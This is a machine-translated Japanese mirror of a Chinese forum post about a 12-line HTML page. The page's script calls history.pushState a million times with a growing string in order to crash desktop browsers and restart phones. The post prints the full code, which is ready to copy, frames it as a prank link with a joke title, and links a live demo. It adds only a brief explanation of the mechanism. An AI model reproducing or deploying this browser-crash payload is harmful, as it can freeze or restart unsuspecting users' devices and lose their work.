この記事は機械翻訳のミラー記事です。元の記事にジャンプするにはこちらをクリックしてください。

眺める: 13238|答える: 0

[HTML/HTML5] 12行のHTMLウェブページコードで、パソコンがクラッシュし、数分でスマホが再起動します

[リンクをコピー]
掲載地 2016/01/22 11:36:39 | | | |
事件の原因はこうです。外国人の友人であるサイバーセキュリティがTwitterにこのようなツイートを投稿しました。



この人は、上記の12行のJavascrip{filter}tコードを使うとFirefox、Chrome、Safariブラウザがクラッシュし、iPhoneの再起動やAndroidのスマホもクラッシュする可能性があると主張しています!

完全なHTMLコードは以下の通りです:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
コードをコピーします


PCユーザーなら、リンクをクリックした後、コンピュータのCPUメモリがブラウザがクラッシュしてフリーズするまで急上昇する可能性が非常に高いです...

モバイル(Android、iPhone)ユーザーの場合、リンクをクリックするとブラウザがクラッシュします! 微博やWeChatのリンクをクリックしてもクラッシュします。


なぜこうなるのでしょうか? この点について、知虎の「小米」という神から答えを見つけました:

history.pushstate() はHTML5によって導入されたAPIで、pushStateはブラウザ履歴に指定されたURLを追加し、現在の履歴ポイントを保存します。 i<100000の場合、合計はブラウザ履歴に循環的に記録され、繰り返されるとブラウザは耐えられず自然にクラッシュします。

まあ、とにかく「こんにちは世界」なんて作れないから、全然理解できない... 要するに、空を爆破するのにちょうどいい!


試してみたい方は、こちらをクリックしてください:   http://www.itsvse.com/demo.html




先の:[オープンソース] ウーユン脆弱性クエリプラットフォームのソースコードプラスデータベース asp.net バージョン
次に:Linux config/configure/Configure、make、make、make、test/make check、sudo make in...
免責事項:
Code Farmer Networkが発行するすべてのソフトウェア、プログラミング資料、記事は学習および研究目的のみを目的としています。 上記の内容は商業的または違法な目的で使用されてはならず、そうでなければ利用者はすべての結果を負うことになります。 このサイトの情報はインターネットからのものであり、著作権紛争はこのサイトとは関係ありません。 ダウンロード後24時間以内に上記の内容を完全にパソコンから削除してください。 もしこのプログラムを気に入ったら、正規のソフトウェアを支持し、登録を購入し、より良い本物のサービスを受けてください。 もし侵害があれば、メールでご連絡ください。

Mail To:help@itsvse.com